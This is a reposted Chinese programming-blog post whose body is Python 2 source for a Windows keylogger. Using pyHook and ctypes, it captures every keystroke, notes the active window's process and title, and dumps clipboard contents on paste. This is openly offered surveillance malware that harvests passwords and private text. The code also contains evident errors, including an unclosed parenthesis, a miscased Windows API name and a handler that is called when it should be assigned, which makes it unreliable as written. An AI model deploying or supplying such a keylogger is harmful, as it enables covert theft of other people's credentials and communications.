码迷,mamicode.com
首页 > 编程语言 > 详细

Python 键盘记录

时间:2016-11-05 02:35:59      阅读:217      评论:0      收藏:0      [点我收藏+]

标签:pytho   false   manage   rdd   ble   data   else   use   type   

    之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍

#!/usr/bin/env python
# -*-coding:utf-8 -*-


from ctypes import *
import pythoncom
import pyHook
import win32clipboard


user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd,byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    psapi.GetModuleBaseName(h_process,None, byref(executable),512)
    window_title =create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd,byref(window_title),512
    print "\n [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s " % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True


kl = pyHook.HookManager()
kl.KeyDown = KeyStroke()

kl.HookKeyboard()
pythoncom.PumpMessages()

   

Python 键盘记录

标签:pytho   false   manage   rdd   ble   data   else   use   type   

原文地址:http://www.cnblogs.com/Lightening2/p/6032099.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!